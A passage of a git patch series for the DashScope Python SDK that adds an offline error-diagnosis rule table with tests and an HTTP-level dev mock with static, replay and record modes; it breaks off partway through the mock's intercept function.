``DashScopeError.diagnosis``: + when the SDK filled ``code``/``message`` instead of raising, this + matches the same offline rule table and returns the guidance (or + ``None`` for a success, or when no rule matched). Imported lazily so + successful responses pay nothing and never load the devkit package. + """ + if not self.is_error: + return None + from dashscope.devkit.diagnosis import diagnose + + return diagnose( + status_code=self.status_code, + code=self.code, + message=self.message, + ) + class JobStatus(ResponseBase): """Result of a state transition that reports nothing but the new state. diff --git a/tests/test_devkit_diagnosis.py b/tests/test_devkit_diagnosis.py new file mode 100644 index 00000000..253a0edb --- /dev/null +++ b/tests/test_devkit_diagnosis.py @@ -0,0 +1,227 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Tests for self-diagnosis (dashscope.devkit.diagnosis). + +Each test asserts one behavior of the local rule table, its rendering, or +the ``.diagnosis`` hooks on the error / response-envelope bases. +""" + +from __future__ import annotations + +import httpx +import pytest + +import dashscope +from dashscope import errors +from dashscope.devkit import diagnosis as dx +from dashscope.devkit import install_excepthook, render + +BASE = "https://api.test.local/api/v1" + + +@pytest.fixture(autouse=True) +def _reset_lang(monkeypatch): + monkeypatch.delenv(dx.LANG_ENV, raising=False) + yield + + +# --- rule matching -------------------------------------------------------- + + +def test_match_by_status_code(): + assert dx.diagnose(status_code=401).title.startswith("鉴权失败") + + +def test_match_by_code_keyword(): + assert dx.diagnose(code="Model.NotExist").title.startswith("模型不存在") + + +def test_match_by_message_pattern(): + assert dx.diagnose(message="Read timed out").title.startswith("网络连通性") + + +def test_no_match_returns_none(): + assert ( + dx.diagnose(status_code=418, code="Teapot", message="short and stout") + is None + ) + + +def test_throttling_by_status(): + assert dx.diagnose(status_code=429).title.startswith("触发限流") + + +def test_english_selected_by_env(monkeypatch): + monkeypatch.setenv(dx.LANG_ENV, "en") + assert dx.diagnose(status_code=401).title.startswith( + "Authentication failed", + ) + + +def test_every_error_code_resolves(): + """Consistency guard between the error registry and the rule table. + + Every server-side ``ErrorCode`` the SDK enumerates must map to some + troubleshooting guidance. The rule table is hand-maintained, so this + is what catches drift when a new wire code is added to ``ErrorCode`` + without a matching diagnosis rule. + """ + unresolved = [ + ec.value + for ec in errors.ErrorCode + if dx.diagnose(code=ec.value) is None + ] + assert unresolved == [] + + +# --- rendering ------------------------------------------------------------ + + +def test_render_contains_title_and_expert_hint(): + block = render(dx.diagnose(status_code=401)) + assert "DashScope 诊断建议" in block + assert "dashscope expert" in block + + +def test_render_lists_numbered_fixes(): + block = render(dx.diagnose(status_code=401)) + assert " 1. " in block + assert "👉" in block + + +# --- error hook ----------------------------------------------------------- + + +def test_error_object_exposes_diagnosis(): + err = errors.error_from_status( + 401, + message="no api key provided", + body={"code": "InvalidApiKey"}, + ) + assert err.diagnosis is not None + assert err.diagnosis.title.startswith("鉴权失败") + + +def test_error_diagnosis_none_when_unmatched(): + err = errors.error_from_status( + 418, + message="teapot", + body={"code": "Teapot"}, + ) + assert err.diagnosis is None + + +def test_sdk_error_inherits_diagnosis(): + err = errors.SdkError("connection reset") + assert err.diagnosis is not None + + +# --- response-envelope hook (raise_on_error=False) ------------------------ + + +def _client(handler, **kwargs): + http_client = httpx.Client( + transport=httpx.MockTransport(handler), + base_url=BASE, + ) + kwargs.setdefault("base_url", BASE) + kwargs.setdefault("raise_on_error", False) + return dashscope.Client( + api_key="sk-test", + http_client=http_client, + **kwargs, + ) + + +def test_envelope_diagnosis_on_business_error(): + def handler(request): + return httpx.Response( + 429, + json={"code": "Throttling", "message": "slow"}, + ) + + resp = _client(handler).chat.completions.create( + model="qwen-plus", + messages=[{"role": "user", "content": "hi"}], + ) + assert resp.is_error is True + assert resp.diagnosis.title.startswith("触发限流") + + +def test_envelope_diagnosis_none_on_success(): + def handler(request): + return httpx.Response( + 200, + json={ + "output": { + "choices": [ + { + "finish_reason": "stop", + "message": {"role": "assistant", "content": "ok"}, + }, + ], + }, + "request_id": "r", + }, + ) + + resp = _client(handler).chat.completions.create( + model="qwen-plus", + messages=[{"role": "user", "content": "hi"}], + ) + assert resp.is_error is False + assert resp.diagnosis is None + + +# --- excepthook ----------------------------------------------------------- + + +def test_install_excepthook_renders_to_stderr(capsys, monkeypatch): + import sys + + monkeypatch.setattr(dx, "_installed", False) + saved_hook = sys.excepthook + try: + install_excepthook() + err = errors.error_from_status( + 401, + message="x", + body={"code": "InvalidApiKey"}, + ) + sys.excepthook(type(err), err, None) + captured = capsys.readouterr() + assert "DashScope 诊断建议" in captured.err + finally: + sys.excepthook = saved_hook + monkeypatch.setattr(dx, "_installed", False) + + +def test_install_excepthook_chains_previous_hook(monkeypatch): + """The pre-existing hook must still run, not be dropped. + + ``install_excepthook`` chains to whatever ``sys.excepthook`` was + before it (pytest, IPython, an APM agent), rather than jumping + straight to ``sys.__excepthook__`` and silently skipping it. + """ + import sys + + monkeypatch.setattr(dx, "_installed", False) + seen = [] + + def previous(exc_type, exc, tb): + seen.append(exc_type) + + saved_hook = sys.excepthook + monkeypatch.setattr(sys, "excepthook", previous) + try: + install_excepthook() + err = errors.error_from_status( + 401, + message="x", + body={"code": "InvalidApiKey"}, + ) + sys.excepthook(type(err), err, None) + assert seen == [type(err)] + finally: + sys.excepthook = saved_hook + monkeypatch.setattr(dx, "_installed", False) From 40e393be57e845e88a9cd629d83d3846fb85b78e Mon Sep 17 00:00:00 2001 From: "zhansheng.lzs" Date: Thu, 5 Nov 2026 10:42:33 +0800 Subject: [PATCH 14/26] feat(devkit): add static/record/replay dev mock at the HTTP transport Hook the transport choke point so static/replay/record return raw httpx.Response wire bytes and the real protocol adapters, SSE parser and typed models run unchanged. Expose dashscope.enable_dev_mock / disable_dev_mock / dev_mock_active forwarders. HTTP only; the websocket transport is not intercepted. Review hardening: - record fixtures are written 0600, under a lock with an atomic O_APPEND write, and record mode emits a one-time data-exposure warning; set_redactor() scrubs JSON bodies before they land on disk; the default fixture name is gitignored - fingerprint now covers base_url/region plus the content/data/files body channels and a small allowlist of semantic headers, so a multipart, binary or different-region request cannot collide; volatile identity headers stay excluded - response bodies are stored losslessly (base64 for non-UTF-8) instead of decode(errors="replace"), which corrupted binary responses - a stream captured before natural EOF is flagged complete=false and refused on replay (override with DASHSCOPE_DEV_MOCK_ALLOW_PARTIAL) - re-recording a request now wins: replay resolves to the newest capture - the transport checks _dev_mock_requested() before building the mock seam, so a disabled mock adds no per-call allocation ("near-zero overhead when disabled", not "zero-cost") --- .gitignore | 5 + dashscope/__init__.py | 33 ++ dashscope/devkit/__init__.py | 62 ++- dashscope/devkit/mock.py | 910 +++++++++++++++++++++++++++++++++++ dashscope/transport/http.py | 269 +++++++++++ tests/test_devkit_mock.py | 552 +++++++++++++++++++++ 6 files changed, 1823 insertions(+), 8 deletions(-) create mode 100644 dashscope/devkit/mock.py create mode 100644 tests/test_devkit_mock.py diff --git a/.gitignore b/.gitignore index 0fbbae98..3c201c86 100644 --- a/.gitignore +++ b/.gitignore @@ -146,3 +146,8 @@ cython_debug/ # Local PyPI investigation tooling; the CI guard lives in tests/legacy_1x/unit/. /scripts/ + +# Dev mock record/replay fixtures — recorded response bodies can carry +# generated content, tool-call arguments or account data. Never commit them. +dashscope_mock.jsonl +*.dashscope_mock.jsonl diff --git a/dashscope/__init__.py b/dashscope/__init__.py index 450c9eb3..744a135a 100644 --- a/dashscope/__init__.py +++ b/dashscope/__init__.py @@ -132,6 +132,36 @@ def set_region(region: str, workspace_id: str = None): base_websocket_api_url = f"wss://{host}/api-ws/v1/inference" +def enable_dev_mock( + mode: str = "static", + fixture_path: "str | None" = None, +) -> None: + """Turn on the dev mock process-wide (``static``/``replay``/``record``). + + Thin forwarder to :mod:`dashscope.devkit`; imported lazily so the + devkit package is never loaded on the production success path. Once + enabled, every ``Client``/``AsyncClient`` HTTP call is intercepted at + the transport. Equivalent to ``DASHSCOPE_DEV_MOCK=``. + """ + from dashscope import devkit + + devkit.enable_dev_mock(mode, fixture_path) + + +def disable_dev_mock() -> None: + """Turn the dev mock back off (forwarder to the devkit package).""" + from dashscope import devkit + + devkit.disable_dev_mock() + + +def dev_mock_active() -> bool: + """Whether the dev mock is currently active.""" + from dashscope import devkit + + return devkit.is_active() + + # The Assistants API (dashscope.legacy_1x.assistants / # dashscope.legacy_1x.threads) is deprecated. # Resolve its names lazily (PEP 562) so a plain `import dashscope` does not emit @@ -276,6 +306,9 @@ def __dir__(): "WsConnection", "WsTask", "chat", + "dev_mock_active", + "disable_dev_mock", + "enable_dev_mock", "errors", "set_region", ] diff --git a/dashscope/devkit/__init__.py b/dashscope/devkit/__init__.py index 90ceafdf..f7a777c0 100644 --- a/dashscope/devkit/__init__.py +++ b/dashscope/devkit/__init__.py @@ -2,28 +2,74 @@ # Copyright (c) Alibaba, Inc. and its affiliates. """Developer toolkit for the dashscope 2.0 SDK. -Self-diagnosis: a local, bilingual rule table that turns a failed call -into structured fix guidance, surfaced on ``DashScopeError.diagnosis`` -and on the non-raising response envelope's ``.diagnosis``. It is a -static Tier-0 troubleshooting table, not a model-backed diagnosis. - -Nothing here is imported on the production success path: the -``.diagnosis`` properties import :mod:`dashscope.devkit.diagnosis` -lazily, so a successful call never loads the rule table. +Two opt-in dev aids with near-zero overhead when disabled: + +* **dev mock** (:mod:`dashscope.devkit.mock`) -- static / replay / + record modes that let an agent or test loop exercise the full v2 + HTTP request path without spending cloud tokens. HTTP only; the + websocket transport is not covered. +* **self-diagnosis** (:mod:`dashscope.devkit.diagnosis`) -- a local, + bilingual rule table that turns a failed call into structured fix + guidance, surfaced on ``DashScopeError.diagnosis``. It is a static + Tier-0 troubleshooting table, not a model-backed diagnosis. + +Nothing here is imported on the production success path: the transport +probes ``DASHSCOPE_DEV_MOCK`` / ``is_active()`` before each send and only +imports this package when a mock is actually requested, and the +``.diagnosis`` properties import :mod:`diagnosis` lazily. """ from __future__ import annotations +from typing import Optional + from dashscope.devkit.diagnosis import ( Diagnosis, diagnose, install_excepthook, render, ) +from dashscope.devkit.mock import ( + MOCK_MARKER, + DevMockMiss, + active, + aintercept, + disable, + enable, + intercept, + set_redactor, +) + + +def enable_dev_mock( + mode: str = "static", + fixture_path: Optional[str] = None, +) -> None: + """Turn on the dev mock process-wide (``static`` / ``replay`` / ``record``).""" + enable(mode, fixture_path) + + +def disable_dev_mock() -> None: + """Turn the dev mock back off.""" + disable() + + +def is_active() -> bool: + """Whether the dev mock is currently active (code or env activation).""" + return active() + __all__ = [ + "MOCK_MARKER", + "DevMockMiss", "Diagnosis", + "aintercept", "diagnose", + "disable_dev_mock", + "enable_dev_mock", "install_excepthook", + "intercept", + "is_active", "render", + "set_redactor", ] diff --git a/dashscope/devkit/mock.py b/dashscope/devkit/mock.py new file mode 100644 index 00000000..5f2cb9f4 --- /dev/null +++ b/dashscope/devkit/mock.py @@ -0,0 +1,910 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Dev-time mock for dashscope 2.0 API calls. + +Three modes: + static -- synthesize a schema-valid wire response locally, zero network. + This is an HTTP *parser* smoke mock: it models the chat / + multimodal shapes only, so a dev loop can exercise protocol + adapters, SSE parsing and typed models offline. It does not + simulate tool calls, structured output, async job state + machines or non-chat resources -- use record/replay for those. + replay -- answer from a recorded JSONL fixture; a miss raises + DevMockMiss (never silently falls through to the network). + record -- pass through to the real service and append the exchange to + the fixture for later replay. + +Where the 1.x mock short-circuited ``BaseApi.call`` and returned an +already-typed ``DashScopeAPIResponse``, the 2.0 mock hooks the transport +(the single choke point every HTTP resource flows through) and returns a +raw ``httpx.Response`` carrying wire bytes. The real protocol adapters +and typed-model parsers then run on it unchanged, so a dev loop exercises +the same decode path production does -- for every protocol (native / +openai / anthropic), streaming and non-streaming. + +Scope: HTTP only. The websocket transport (``WsConnection``, realtime +audio) is not intercepted and gets no mock coverage. + +Activation is process-wide with near-zero overhead when off: the +transport checks ``DASHSCOPE_DEV_MOCK`` / ``dashscope.devkit.is_active()`` +before each send, and only builds the mock seam / imports this module +once a mock is actually requested. + +Record mode writes full response bodies to the fixture, which can carry +generated content, tool-call arguments or account data; see the warning +emitted by :func:`enable` and the scrubbing hook :func:`set_redactor`. +""" + +from __future__ import annotations + +import base64 +import hashlib +import json +import os +import threading +import uuid +import warnings +from typing import Any, Awaitable, Callable, Dict, List, Mapping, Optional + +import httpx + +from dashscope.errors import DashScopeError + +MOCK_MARKER = "[MOCK]" +DEV_MODE_ENV = "DASHSCOPE_DEV_MOCK" +FIXTURE_PATH_ENV = "DASHSCOPE_DEV_MOCK_FIXTURE" +ALLOW_PARTIAL_ENV = "DASHSCOPE_DEV_MOCK_ALLOW_PARTIAL" +DEFAULT_FIXTURE = "dashscope_mock.jsonl" + +_MODES = ("static", "replay", "record") +_EVENT_STREAM = "text/event-stream; charset=utf-8" + +# Semantics-bearing request headers folded into the record/replay +# fingerprint. Identity headers (Authorization, User-Agent, the per-call +# client request id) are deliberately absent: they change every call and +# would make every replay miss. +_FINGERPRINT_HEADERS = ("x-dashscope-async", "x-dashscope-sse", "content-type") + +# Serializes fixture appends within the process; the O_APPEND write +# itself is what keeps concurrent processes from interleaving a line. +_FIXTURE_LOCK = threading.Lock() + +_mode: Optional[str] = None +_fixture_path: Optional[str] = None +_redactor: Optional[Callable[[Any], Any]] = None +_warned_record = False + + +class DevMockMiss(DashScopeError): + """Replay has no recorded response, or static cannot synthesize one. + + Subclasses the v2 error base, so ``except DashScopeError`` covers it. + """ + + +def set_redactor(fn: Optional[Callable[[Any], Any]]) -> None: + """Register a hook that scrubs a recorded JSON body before it is saved. + + Record mode persists the full response body, which can contain + generated content, tool-call arguments or account fields. The + redactor receives the parsed JSON (``dict`` / ``list``) and returns + the value to write. It runs only when the body parses as a single + JSON document -- SSE streams and binary bodies are stored verbatim, + so scrub those at the source or do not record them. Pass ``None`` to + clear. + """ + global _redactor + _redactor = fn + + +def enable(mode: str = "static", fixture_path: Optional[str] = None) -> None: + global _mode, _fixture_path + if mode not in _MODES: + raise ValueError( + f"Unknown dev mock mode {mode!r}; expected one of {_MODES}", + ) + _mode = mode + _fixture_path = fixture_path + + +def disable() -> None: + global _mode, _fixture_path + _mode = None + _fixture_path = None + + +def active() -> bool: + return _resolve_mode() is not None + + +def _warn_record_once() -> None: + global _warned_record + if _warned_record: + return + _warned_record = True + warnings.warn( + "dev mock 'record' mode writes full response bodies to " + f"{_resolve_fixture()!r}. Responses can contain generated " + "content, tool-call arguments or account data, and the file is " + "easy to commit by accident. Register " + "dashscope.devkit.set_redactor(...) to scrub bodies, keep the " + "fixture out of version control, and never record with " + "production credentials.", + stacklevel=4, + ) + + +def _resolve_mode() -> Optional[str]: + mode = _mode + if mode is None: + env = os.environ.get(DEV_MODE_ENV) + if not env: + return None + if env not in _MODES: + raise ValueError( + f"Invalid {DEV_MODE_ENV}={env!r}; expected one of {_MODES}", + ) + mode = env + if mode == "record": + _warn_record_once() + return mode + + +def _resolve_fixture() -> str: + return _fixture_path or os.environ.get(FIXTURE_PATH_ENV) or DEFAULT_FIXTURE + + +def _allow_partial_replay() -> bool: + return bool(os.environ.get(ALLOW_PARTIAL_ENV)) + + +# --------------------------------------------------------------------------- +# request fingerprint. Identity headers (Authorization / User-Agent / +# per-call client id) are excluded: they are volatile and would defeat +# replay hits. Everything that can change the *response* is included -- +# endpoint, JSON body, query params, the raw/form/multipart channels and +# a small allowlist of semantics-bearing headers. +# --------------------------------------------------------------------------- + + +def _bytes_digest(value: Any) -> Any: + if value is None: + return None + if isinstance(value, (bytes, bytearray)): + return {"__sha256__": hashlib.sha256(bytes(value)).hexdigest()} + return value + + +def _one_file(field: Any, value: Any) -> Dict[str, Any]: + # httpx accepts bytes, a file object, or a (filename, payload[, ctype]) + # tuple. Digest bytes directly; for file objects record identity only -- + # reading them here would drain the stream the real upload needs. + filename: Any = None + payload = value + if isinstance(value, (tuple, list)) and len(value) >= 2: + filename, payload = value[0], value[1] + name = filename or getattr(payload, "name", None) + entry: Dict[str, Any] = { + "field": str(field), + "filename": str(name) if name else None, + } + if isinstance(payload, (bytes, bytearray)): + entry["sha256"] = hashlib.sha256(bytes(payload)).hexdigest() + return entry + + +def _files_digest(files: Any) -> Any: + if not files: + return None + items = list(files.items()) if isinstance(files, Mapping) else list(files) + out = [] + for item in items: + if isinstance(item, (tuple, list)) and len(item) == 2: + out.append(_one_file(item[0], item[1])) + else: + out.append(_one_file(item, None)) + return out + + +def _semantic_headers(headers: Optional[Mapping[str, str]]) -> Dict[str, str]: + if not headers: + return {} + lowered = {str(k).lower(): str(v) for k, v in headers.items()} + return {h: lowered[h] for h in _FINGERPRINT_HEADERS if h in lowered} + + +def _fingerprint( + method: str, + path: str, + body: Any, + params: Optional[Any], + *, + base_url: Optional[str] = None, + content: Any = None, + data: Any = None, + files: Any = None, + headers: Optional[Mapping[str, str]] = None, +) -> str: + """Stable request identity for record/replay. + + ``base_url`` is part of the key so a capture made against one region + (e.g. Hangzhou) never replays for a request routed to another + (e.g. Singapore) that happens to share the same path and body. + """ + payload = { + "method": method, + "path": path, + "base_url": base_url, + "body": body, + "params": dict(params) if params else {}, + "content": _bytes_digest(content), + "data": dict(data) + if isinstance(data, Mapping) + else _bytes_digest(data), + "files": _files_digest(files), + "headers": _semantic_headers(headers), + } + blob = json.dumps(payload, ensure_ascii=False, sort_keys=True, default=str) + return hashlib.sha256(blob.encode("utf-8")).hexdigest() + + +# --------------------------------------------------------------------------- +# static synthesis: build a wire body the active protocol's parser accepts. +# the protocol is inferred from the request path (the same signal the +# adapters themselves key off), so the mock needs no client reference. +# --------------------------------------------------------------------------- + + +def _protocol_of(path: str) -> Optional[str]: + """Wire protocol for a chat endpoint, or ``None`` if it is not one. + + Keyed off the same path signal the adapters use. static synthesis + only models the chat/multimodal shapes, so a non-chat path (embeddings, + images, files, ...) yields ``None`` and fails loudly instead of + returning a body the endpoint's typed parser would silently misread. + """ + if path.endswith("/messages"): + return "anthropic" + if path.endswith("/chat/completions"): + return "openai" + if ( + "text-generation/generation" in path + or "multimodal-generation/generation" in path + ): + return "native" + return None + + +def _model_of(body: Any) -> str: + if isinstance(body, dict): + return str(body.get("model") or "unknown") + return "unknown" + + +def _mock_text(model: str) -> str: + return f"{MOCK_MARKER} static response for model={model}" + + +def _usage(body: Any, text: str) -> Dict[str, int]: + in_tokens = max( + 1, + len(json.dumps(body, ensure_ascii=False, default=str)) // 4, + ) + out_tokens = max(1, len(text) // 4) + return { + "input_tokens": in_tokens, + "output_tokens": out_tokens, + "total_tokens": in_tokens + out_tokens, + } + + +def _pieces(text: str) -> List[str]: + # Five incremental pieces mirror the server's SSE cadence, so + # consumers exercising stream assembly see realistic chunking. + step = max(1, len(text) // 5) + return [text[i : i + step] for i in range(0, len(text), step)] + + +def _native_frames(rid: str, model: str, text: str, usage: Dict[str, int]): + frames: List[Dict[str, Any]] = [] + pieces = _pieces(text) + for piece in pieces[:-1]: + frames.append( + { + "output": { + "choices": [ + { + "finish_reason": None, + "message": { + "role": "assistant", + "content": piece, + }, + }, + ], + }, + "model": model, + "request_id": rid, + }, + ) + frames.append( + { + "output": { + "choices": [ + { + "finish_reason": "stop", + "message": { + "role": "assistant", + "content": pieces[-1], + }, + }, + ], + }, + "usage": usage, + "model": model, + "request_id": rid, + }, + ) + return frames + + +def _openai_frames(rid: str, model: str, text: str, usage: Dict[str, int]): + frames: List[Dict[str, Any]] = [] + pieces = _pieces(text) + for i, piece in enumerate(pieces): + delta: Dict[str, Any] = {"content": piece} + if i == 0: + delta["role"] = "assistant" + frames.append( + { + "id": rid, + "object": "chat.completion.chunk", + "model": model, + "choices": [ + {"index": 0, "delta": delta, "finish_reason": None}, + ], + }, + ) + frames.append( + { + "id": rid, + "object": "chat.completion.chunk", + "model": model, + "choices": [{"index": 0, "delta": {}, "finish_reason": "stop"}], + "usage": { + "prompt_tokens": usage["input_tokens"], + "completion_tokens": usage["output_tokens"], + "total_tokens": usage["total_tokens"], + }, + }, + ) + return frames + + +def _anthropic_frames(rid: str, model: str, text: str, usage: Dict[str, int]): + frames: List[Dict[str, Any]] = [ + { + "type": "message_start", + "message": { + "id": rid, + "type": "message", + "role": "assistant", + "model": model, + "content": [], + "usage": { + "input_tokens": usage["input_tokens"], + "output_tokens": 0, + }, + }, + }, + { + "type": "content_block_start", + "index": 0, + "content_block": {"type": "text", "text": ""}, + }, + ] + for piece in _pieces(text): + frames.append( + { + "type": "content_block_delta", + "index": 0, + "delta": {"type": "text_delta", "text": piece}, + }, + ) + frames.append({"type": "content_block_stop", "index": 0}) + frames.append( + { + "type": "message_delta", + "delta": {"stop_reason": "end_turn", "stop_sequence": None}, + "usage": {"output_tokens": usage["output_tokens"]}, + }, + ) + frames.append({"type": "message_stop"}) + return frames + + +_STREAM_FRAMES = { + "native": _native_frames, + "openai": _openai_frames, + "anthropic": _anthropic_frames, +} + + +def _static_body( + proto: str, + rid: str, + model: str, + text: str, + usage: Dict[str, int], +) -> Dict[str, Any]: + if proto == "openai": + return { + "id": rid, + "object": "chat.completion", + "model": model, + "choices": [ + { + "index": 0, + "message": {"role": "assistant", "content": text}, + "finish_reason": "stop", + }, + ], + "usage": { + "prompt_tokens": usage["input_tokens"], + "completion_tokens": usage["output_tokens"], + "total_tokens": usage["total_tokens"], + }, + } + if proto == "anthropic": + return { + "id": rid, + "type": "message", + "role": "assistant", + "model": model, + "content": [{"type": "text", "text": text}], + "stop_reason": "end_turn", + "stop_sequence": None, + "usage": { + "input_tokens": usage["input_tokens"], + "output_tokens": usage["output_tokens"], + }, + } + return { + "output": { + "choices": [ + { + "finish_reason": "stop", + "message": {"role": "assistant", "content": text}, + }, + ], + }, + "usage": usage, + "request_id": rid, + } + + +def _sse_text(frames: List[Dict[str, Any]], done_marker: bool) -> str: + out = [] + for i, frame in enumerate(frames, 1): + out.append( + f"id: {i}\ndata: {json.dumps(frame, ensure_ascii=False)}\n\n", + ) + if done_marker: + out.append("data: [DONE]\n\n") + return "".join(out) + + +def _response( + method: str, + url: str, + *, + status_code: int = 200, + content: Optional[bytes] = None, + json_body: Optional[Any] = None, + content_type: Optional[str] = None, + request_id: Optional[str] = None, +) -> httpx.Response: + headers: Dict[str, str] = {} + if content_type: + headers["content-type"] = content_type + if request_id: + headers["x-request-id"] = request_id + kwargs: Dict[str, Any] = {"headers": headers} + if json_body is not None: + kwargs["json"] = json_body + elif content is not None: + kwargs["content"] = content + return httpx.Response( + status_code, + request=httpx.Request(method, url), + **kwargs, + ) + + +def _synthesize(method: str, url: str, path: str, body: Any, stream: bool): + proto = _protocol_of(path) + model = _model_of(body) + if proto is None or not isinstance(body, dict) or "model" not in body: + raise DevMockMiss( + f"static dev mock cannot synthesize a response for {path}; " + "it covers the chat/multimodal endpoints only. Use " + "mode='record' once against the real service, then " + "mode='replay' for this endpoint.", + ) + rid = f"mock-{uuid.uuid4().hex[:12]}" + text = _mock_text(model) + usage = _usage(body, text) + if not stream: + return _response( + method, + url, + json_body=_static_body(proto, rid, model, text, usage), + request_id=rid, + ) + frames = _STREAM_FRAMES[proto](rid, model, text, usage) + return _response( + method, + url, + content=_sse_text(frames, proto == "openai").encode("utf-8"), + content_type=_EVENT_STREAM, + request_id=rid, + ) + + +# --------------------------------------------------------------------------- +# fixture read/write. Request headers (Authorization / User-Agent) are +# never persisted; the response body is, so it may carry sensitive data +# -- see the record-mode warning and :func:`set_redactor`. +# --------------------------------------------------------------------------- + + +def _encode_body(raw: bytes) -> Dict[str, Any]: + """Store wire bytes losslessly: text as UTF-8, anything else base64. + + A strict decode is the test -- only bytes that round-trip exactly are + stored as text (keeping JSON/SSE fixtures human-readable). Binary + payloads (audio, images, file downloads) go in as base64 so replay + reproduces them byte for byte instead of corrupting them through + ``decode(errors="replace")``. + """ + try: + return {"body": raw.decode("utf-8"), "body_encoding": "utf-8"} + except UnicodeDecodeError: + return { + "body": base64.b64encode(raw).decode("ascii"), + "body_encoding": "base64", + } + + +def _decode_body(entry: Dict[str, Any]) -> bytes: + body = entry.get("body", "") + if entry.get("body_encoding") == "base64": + return base64.b64decode(body.encode("ascii")) + # Fixtures recorded before body_encoding existed are UTF-8 text. + return body.encode("utf-8") + + +def _record_body(raw: bytes) -> Dict[str, Any]: + if _redactor is not None: + try: + parsed = json.loads(raw.decode("utf-8")) + except (UnicodeDecodeError, ValueError): + parsed = None + if parsed is not None: + redacted = _redactor(parsed) + return { + "body": json.dumps(redacted, ensure_ascii=False), + "body_encoding": "utf-8", + } + return _encode_body(raw) + + +def _append_fixture(entry: Dict[str, Any]) -> None: + line = json.dumps(entry, ensure_ascii=False) + "\n" + path = _resolve_fixture() + with _FIXTURE_LOCK: + # O_CREAT mode 0600 so a fixture holding recorded response bodies + # is never group/world readable (umask can only tighten it). The + # single O_APPEND write is atomic on POSIX, so concurrent + # processes each land a whole line rather than interleaving. + fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_APPEND, 0o600) + with os.fdopen(fd, "a", encoding="utf-8") as f: + f.write(line) + + +def _lookup_fixture(key: str) -> Optional[Dict[str, Any]]: + """Return the newest recorded entry for ``key``, or ``None``. + + The fixture is append-only, so re-recording a request leaves several + lines under the same key. The last one is the most recent capture and + wins -- scanning the whole file instead of returning on the first hit + is what makes a re-record actually take effect. + """ + found: Optional[Dict[str, Any]] = None + try: + with open(_resolve_fixture(), "r", encoding="utf-8") as f: + for line in f: + line = line.strip() + if not line: + continue + try: + entry = json.loads(line) + except ValueError: + continue + if entry.get("key") == key: + found = entry + except FileNotFoundError: + return None + return found + + +def _capture( + key: str, + response: httpx.Response, + raw: bytes, + stream: bool, + *, + complete: bool = True, +) -> None: + entry = { + "key": key, + "stream": stream, + "complete": complete, + "status_code": response.status_code, + "content_type": response.headers.get("content-type", ""), + } + entry.update(_record_body(raw)) + _append_fixture(entry) + + +def _replay(key: str, method: str, url: str, stream: bool) -> httpx.Response: + entry = _lookup_fixture(key) + if entry is None: + raise DevMockMiss( + f"No recorded response for request fingerprint {key} in " + f"{_resolve_fixture()}. Run once with mode='record' to " + "capture it.", + ) + if bool(entry.get("stream")) != stream: + raise DevMockMiss( + "Fixture holds a " + f"{'streaming' if entry.get('stream') else 'non-streaming'} " + f"response but this call is {'streaming' if stream else 'non-streaming'}; " + "re-record with the matching call.", + ) + # A stream captured from a consumer that stopped early, cancelled or + # errored before EOF is truncated; replaying it as if whole produces + # a half SSE stream that is miserable to debug. Refuse by default. + if stream and not entry.get("complete", True): + if not _allow_partial_replay(): + raise DevMockMiss( + "The recorded stream for this request is incomplete (it " + "was captured before EOF -- the consumer stopped early, " + "cancelled, or errored). Re-record it, or set " + f"{ALLOW_PARTIAL_ENV}=1 to replay the truncated capture " + "anyway.", + ) + return _response( + method, + url, + status_code=entry.get("status_code", 200), + content=_decode_body(entry), + content_type=entry.get("content_type") or None, + ) + + +# --------------------------------------------------------------------------- +# record: pass through to the real transport, tee the wire bytes, persist. +# --------------------------------------------------------------------------- + + +class _TeeSyncStream(httpx.SyncByteStream): + def __init__(self, inner, on_done: Callable[[bytes, bool], None]) -> None: + self._inner = inner + self._on_done = on_done + self._buf = bytearray() + self._done = False + self._complete = False + + def __iter__(self): + try: + for chunk in self._inner: + self._buf += chunk + yield chunk + except BaseException: + # Errored mid-stream: what was buffered is partial. + self._finish() + raise + # Inner stream drained to natural EOF: a complete recording. + self._complete = True + self._finish() + + def close(self) -> None: + # Closed before EOF (early stop / cancel): partial by definition. + self._finish() + close = getattr(self._inner, "close", None) + if close is not None: + close() + + def _finish(self) -> None: + if not self._done: + self._done = True + self._on_done(bytes(self._buf), self._complete) + + +class _TeeAsyncStream(httpx.AsyncByteStream): + def __init__(self, inner, on_done: Callable[[bytes, bool], None]) -> None: + self._inner = inner + self._on_done = on_done + self._buf = bytearray() + self._done = False + self._complete = False + + async def __aiter__(self): + try: + async for chunk in self._inner: + self._buf += chunk + yield chunk + except BaseException: + self._finish() + raise + self._complete = True + self._finish() + + async def aclose(self) -> None: + self._finish() + aclose = getattr(self._inner, "aclose", None) + if aclose is not None: + await aclose() + + def _finish(self) -> None: + if not self._done: + self._done = True + self._on_done(bytes(self._buf), self._complete) + + +def _record_sync( + key: str, + stream: bool, + real: Callable[[], httpx.Response], +) -> httpx.Response: + response = real() + if not stream: + response.read() + _capture(key, response, response.content, False) + return response + tee = _TeeSyncStream( + response.stream, + lambda raw, complete: _capture( + key, + response, + raw, + True, + complete=complete, + ), + ) + return httpx.Response( + response.status_code, + headers=response.headers, + stream=tee, + request=response.request, + ) + + +async def _record_async( + key: str, + stream: bool, + real: Callable[[], Awaitable[httpx.Response]], +) -> httpx.Response: + response = await real() + if not stream: + await response.aread() + _capture(key, response, response.content, False) + return response + tee = _TeeAsyncStream( + response.stream, + lambda raw, complete: _capture( + key, + response, + raw, + True, + complete=complete, + ), + ) + return httpx.Response( + response.status_code, + headers=response.headers, + stream=tee, + request=response.request, + ) + + +# --------------------------------------------------------------------------- +# transport entry points +# --------------------------------------------------------------------------- + + +def _abs_url(base_url: Optional[str], path: str) -> str: + if base_url is None: + return path + return f"{base_url.rstrip('/')}/{path.lstrip('/')}" + + +def intercept( + *, + method: str, + path: str, + json_body: Any = None, + content: Any = None, + data: Any = None, + files: Any = None, + params: Optional[Any] = None, + headers: Optional[Mapping[str, str]] = None, + base_url: Optional[str] = None, + stream: bool = False, + real: Callable[[], httpx.Response], +) -> httpx.Response: + """Handle one sync transport send in dev mock mode. + + ``real`` performs the actual (retried) httpx call; only record mode + invokes it. static/replay never touch the network. ``content`` / + ``data`` / ``files`` / ``headers`` feed the request fingerprint so a + multipart, binary or region-specific request cannot collide with a + different one that shares its path and JSON body. + """ + mode = _resolve_mode() + if mode is None: + return real() + url = _abs_url(base_url, path) + if mode == "static": + return 